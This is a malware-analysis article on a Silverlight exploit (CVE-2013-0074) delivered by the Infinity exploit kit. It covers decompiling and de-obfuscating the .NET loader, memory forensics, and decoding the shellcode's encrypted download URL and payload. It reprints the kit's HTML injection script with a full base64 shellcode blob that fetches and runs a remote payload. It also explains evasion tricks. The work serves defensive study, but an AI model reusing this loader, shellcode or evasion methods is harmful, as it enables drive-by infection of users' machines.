Diving into a Silverlight Exploit and Shellcode - Analysis and Techniques

By Omri Herscovici & Liran Englender January 04, 2015

Preface In recent years, exploit-kits are one of the most common platforms for malware distribution. One of the exploits coming from Infinity exploit-kit exploits a security vulnerability in Microsoft Silverlight. Compared to other technologies like Java, PDF, Flash, etc. – Silverlight exploits are less common. Just to get a rough feeling, according to cvedetails.com, from 2010 to 2014, 15 Vulnerabilities were reported for Microsoft Silverlight, while Adobe Acrobat Reader had 268 vulnerabilities, Adobe Flash Player had 321 vulnerabilities; Microsoft Internet Explorer had 392 vulnerabilities and Java with at least 358 vulnerabilities. In many cases, an exploit analysis is bounded to some limitations and conditions dictated by the exploit’s context. Thus, various relevant techniques have to be used in order to successfully analyze the exploit: .NET DLL decompiling & patching, memory analysis and of course dynamic execution debugging. We will observe how the exploit is obfuscated; how it loads parts of the code dynamically into the memory in order to reduce the chances of being detected by signature based protections and how to extract these components from the exploit. In addition we will look at the shell-code supplied by the exploit-kit and how it uses encryption to hide the payload’s URL and contents.

Technical The Silverlight framework enables the development of web applications with features similar to those of Adobe flash and Java Applets. The Silverlight runtime environment is available for Windows and Mac OS x as a browser plugin. Microsoft Silverlight applications can be written in any .NET programming language, compiled to Microsoft Intermediate Language (MSIL) and then hosted by the Silverlight CoreCLR (instead of the .NET framework CLR). A Silverlight control is a zip format file with extension .XAP containing a list of one or more .NET managed assemblies (.DLL files) along with the AppManifest.XAML file.

In order to load a Silverlight control one has to use the <object> tag targeting the Silverlight plugin within an HTML document.

The Exploit This is how the exploit is loaded in our sample: The given script creates a ‘div’ element and writes the value of payload2 into its ‘innerHTML’ field. Later it adds this element into the body of the HTML document. Once added, it targets the Microsoft Silverlight plugin. We can see that the file name is 4220.xap and that there is an initialization parameter that is to be given to the application upon startup named ‘pion7’, and its value looks like a base 64 encoded string. Usually, when an exploit comes from an exploit-kit, this value is the actual shell-code; An analysis of the shell-code will be covered later in this paper. For now, we’ll focus on the exploit. As we said before, not too many Silverlight vulnerabilities were found over the last few years so it’s easy to set our minds on a few candidates. The most common ones among exploit-kits are CVE-2013-0074 and CVE-2013-3896. A file named 4220.xap is downloaded to our machine. As mentioned above, XAP file is a zip file. There are 2 files in the archive.

AppManifest.xaml contains the following text:

<script>

function div_mahhhhker45(payload_codersdfg) { var payload_div = window.document.createElement("div"); window.document.body.appendChild(payload_div); payload_div["innerHTML"] = payload_codersdfg; };

payload2 = '<object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="10" height="10"> <param name="source" value="http://XXXXXXXXXX/4220.xap"/><param name="initParams" value="pion7=kJCQkOtjYDHAZItQMItSDItSFItyKDH/jU8YMcCsPGF8Aiwgwc8NAcfi8IH/W7xKaotCEIsSdduJRCQcYcNgidesqgjAdfpPuD9ybmSrsD2qMcmNSQUPMTwwfPo8OX/2qkl18jDAqmHD61Zgi2wkJItFPItUBXgB6otKGItaIAHr4zRJizSLAe4x/zHA/KyEwHQHwc8NAcfr9Dt8JCh14YtaJAHrZosMS4taHAHriwSLAeiJRCQcYYsMJI1kJAz/4etsX1pXidYxyY1ZBaxLePUyBzx8D0TBqjwhdfBeieUxwI1ITMHhAynMieeNTxCNX1SNUFeNFJdXUVBQUFBQUFBT6Df///9QUDHJjUlBweECUVNSUDHJZrlvblFodXJsbVRojk4O7Oja/v//UOsC60ToNf/////Qg8QIaE/vTwVQ6CX/////0IXAdSZqVFnzqmhy/rMW6Kv+//9Q6Ar////rFP/QhcB0CYnsiAPpbv///4nsw+tyYDHAUFBqA1BqB41ADMHIBFD/dCQ4uFro/4OD8P9Q6Gz+//9Q6Mv+////0InDUDHJUVFRUGoCUVFQaKwI2nboTP7//1Doq/7//4nF/9CJx//VaFTKr5HoNP7//1Dok/7//zHJtRBqBFFXMclR/9CJxusC6x5QieAxyVFQV1ZTaBZl+hDoB/7//1DoZv7////Q63PrbTHJUVFRU//VieAxyVFQV1ZTaB95Cujo4P3//1DoP/7////QaNmF8zfozv3//1DoLf7//1P/0FgxybWAUTHJUVZorDMGA+ix/f//UOgQ/v///9Bo+5f9D+if/f//UOj+/f///9BhkJCQ6ev+///rUOsLYOj4////bTNTNFZbieUxwI1AQMHgAinEieBVVleJx4nGMcCq/sB1+4nfMcmNaQUx24nIMdL39QIcF4okDgLcigQeiAQOiCQe/sF15esC6z4xwDHJMdJdOel9J4nPR4PL/w+22yHfigQ+AtCKHBaIHD6IBBYCw4oEBos8JDAED0Hr1Vtdiexh6QP////rCuj5////DN467SLoqv3//2SqTp0YI/FOhUdtvV+eQWCrWMNBY7MV1BQ46QrVFDXqC8NPfO1GzA==" /></object>';

div_mahhhhker45(payload2);

</script>

From the attributes we can see the targeted Silverlight runtime version, the entry point type and targeted assembly which is supplied as part of the XAP file. “tics.dll” is an MSIL compiled DLL, which means that we can try to decompile it. There are various tools to do it, such as: .NET reflector, ILSpy and Telerik JustDecompile. Telerik JustDecompile shows the de-compilation product as follows:

A quick look into the code reveals that the application is obfuscated. The AppManifest.xaml declares “tics.App” class as the entry point type.

The constructor for “tics.App” shows a flow that eventually loads the MainPage class constructor while supplying the initialization parameters.

Let’s look at the “MainPage” class constructor:

The constructor above does the following: 1. Converts a base64 string returned from a function and assigns the value to a byte array. 2. Runs a XOR 253 (0xFD) loop on the byte array. 3. Loads a .NET DLL to the memory using AssemblyPart.Load(). 4. Invokes a certain class constructor from the loaded assembly mentioned above, while

supplying the initialization parameters.

This is interesting! Let’s find out what the loaded assembly is.

Telerik JustDecompile has a plugin that identifies known obfuscators and tries to de-obfuscate a given code. The output from the de-obfuscation plugin gives us the following code:

All we have to do now is get this code out to Visual Studio, insert some minor changes and make it write the assembly into a file. The above results in a new .NET DLL that exploits a Silverlight vulnerability - we will get to it later. A few other techniques are possible to de-obfuscate the DLL:

1. Re-compiling What if we knew the string which is given to the “FromBase64String” method? We would be able to do what we did earlier and write the data into a dll file. Unfortunately, de-compilers are not perfect, when we took the code for the function “NYNLWC3ThxSrvrH0Fn.Cd0dbmEq1()” and pasted it into Visual Studio it didn’t compile at first. We had to go and fix the code manually - this takes a few hours and it isn’t reliable, because some things get messy in the de-compilation process and you have to understand where exactly things went wrong.

2. Memory Analysis If we can’t change the code let’s try to observe the memory and find the loaded DLLs. First we need to take a memory dump. We tried to use “DumpIt” by MoonSols, but unfortunately it became unresponsive when the exploit starts, and when it finishes there are no longer any memory artifacts. Hitting the pause button on the virtual machine saves the memory into a VMSS file which is readable by “Volatility” framework. Using Volatility, we try to identify the DLLs as part of the modules that are linked to the Silverlight hosted process, which in this case, is Internet Explorer. We use the “ldrmodules” plugin in case the module was unlinked from the PEB and dump the result into a file. Looking at the output we try to identify the relevant DLLs by looking for one without a mapped path (since we know that they aren’t loaded from the disk). Also, note that both of them don’t appear in any of the doubly-linked lists (InMemOrder, InInitOrder and InLoadOrder) of the PEB, indicating the DLLs loaded into the process address space.

Two modules match this description; one is loaded into 0x061f0000 and the other into 0x061c0000. One of the files is 58.5KB while the other is 13KB. Recall that at the beginning we had two files inside the XAP file: tics.dll and AppManifest.XAML. When we sum tics.dll and AppManifest.XAML sizes together we get 58.5 KB, and when looking inside the dumped DLL with size 58.5K, you can recognize the AppManifest content. So the first dumped DLL is the decompressed XAP file. Let’s check the second file. Opening it with Telerik Decompile shows what we were looking for!

This code contains a class inheriting from HtmlObject and exploiting the Initialize method, hence CVE-2013-0074.

3. Patching Another technique is patching the exploit in order to write the DLL into a file instead of loading it into the memory. Since Silverlight DLL’s compiled to MSIL (IL) we need to patch the constructor method using IL opcodes. In addition, we’re bounded by our exploit’s limitations. We could use OpenFileDialog() or any other API that gives us the ability to save the data. But MessageBox.Show(string) is an API that usually works on all versions and doesn’t require a lot of special preparations. We manually added the IL code to produce the MessageBox; this is what it looks like after patching:

And this is the result of the patched exploit:

Converting these decimal values to a binary file will result in a new obfuscated DLL file – which is, predictably, exactly the same as the one we extracted previously.

The Shellcode We see that a big chunk of base64 parameter is being passed to the Silverlight exploit - definitely a good shellcode candidate. Let’s have a closer look.

Converting this base64 into hex will result in:

The NOP sled at the beginning suggests that we were probably not wrong. Trying to emulate the shellcode encounters some difficulties, e.g. opcodes unsupported by the libemu engine.

Let’s try to debug this shellcode manually. The shellcode starts with a few long jumps, and then we get to the following loop:

We’ll analyze this code in just a second, but before that, let’s take a look at ESI and EDI:

What we are about to find out by looking at the code is that the first 5 bytes starting from ESI (0c de 3a ed 22), are actually a rotating XOR key for decrypting the data starting from EDI. Let’s take a look at the Loop: (Added note next to each line) MOV ESI, EDX ; ESI = 00417311

XOR ECX, ECX ; ECX = 0

LEA EBX, DWORD PTR DS:[ECX+5] ; EBX = 5

LODS BYTE PTR DS:[ESI] ; Loads a byte from [ESI] to AL and Increases ESI

DEC EBX ; EBX--

JS SHORT 004030DE ; IF EBX < 0: Jumps to Reload EBX & Reset ESI

XOR AL, BYTE PTR DS:[EDI] ; XOR’s AL with the current byte in [EDI]

CMP AL, 7Ch ; Checks if AL is “|”

CMOVE EAX, ECX ; If TRUE: Moves ECX (0/NULL Termination) to EAX STOS BYTE PTS ES:[EDI] ; Stores AL to [EDI] and INC EDI

CMP AL, 21h ; Checks if AL is “!”

JNZ SHORT 004030E5 ; If FALSE: Loop again Inside the loop there are 2 conditions.

1) The first condition checks if the char was “I”, in this case, it sets AL to be 0 and stores it

at the end of the string as a null terminator.

2) The second condition checks if the char was “!”, this means we got to the end of the URL

so we can exit the loop and move on with the shellcode.

Eventually, this is how the loop decodes the URL: KEY: 0c de 3a ed 22 0c de 3a ed 22 0c de 3a ed 22 ........ 0c de 3a ed 22 0c de 3a ed 22 0c de 3a ed 22

XOR EDI: 64 aa 4e 9d 18 23 f1 4e 85 47 6d bd 5f 9e 41 ........ 38 e9 0a d5 14 35 ea 0b c3 4f 7c ed 46 cc h t t p : / / t h e a c e s c ........ 4 7 0 8 6 9 4 1 . m p 3 | !

After this part, the shellcode adds a parameter with a random value to the URI. The shellcode then downloads the payload into Internet Explorer temp folder. The payload comes with an “mp3” extension, which is used to evade IPS, IDS and traffic policy.

Executing the file using CreateProcessA() would be naturally its next command, but the payload still can’t run since it is encrypted.

Let’s keep looking at the shellcode. We can see that the first line is a CALL operation that jumps up (and also pushes EIP), then POPs the return address from the stack, which points to “FFFF”. But the shellcode is interested in the next few bytes, which are, as you can see: 6D, 33, 53, 34, 56. These bytes represent the ASCII letters “m3S4V”. This is actually the key for decrypting the payload, but this one isn’t as simple as the XOR loop we saw above.

As you can see, it is quite a big chunk of assembly code to be explained line by line in this post. But what this code does is a few things:

1) Creates a byte array with all values from 00 to FF.

2) Each byte is being replaced with another byte from the array. The replacement is

calculated using the current char from the key and the value of the current replaced

byte – which creates sort of an 8-bit s-box.

3) Next we have another loop that is pretty much similar to the one before, except now it

generates the final XOR key based on the s-box created in the first loop. This loop goes

over the s-box periodically until all the bytes from the file are decrypted, holding an

accumulator of the s-box values (modulus 256). In each iteration, the current byte in the

s-box is replaced with the byte pointed by the accumulator, and the sum of these 2

bytes (modulus 256) is the next byte of the XOR key.

Once decoding is done, the file is saved and a call to CreateProcessA() is done. Then the fun begins. We decided to translate this Assembly code into a Python script and write a generic tool decrypting payloads from Infinity (using the encrypted payload and the key as parameters).

Conclusion In this paper we examined the Microsoft Silverlight exploit and Shellcode served by Infinity Exploit-kit. We showed a few techniques dealing with obfuscated and dynamically loaded code, and identified the vulnerability using various approaches. Although Infinity Exploit-kit was very prevalent, its current status is unknown. However, Microsoft Silverlight exploits, specifically CVE-2013-0074, are still common among exploit kits.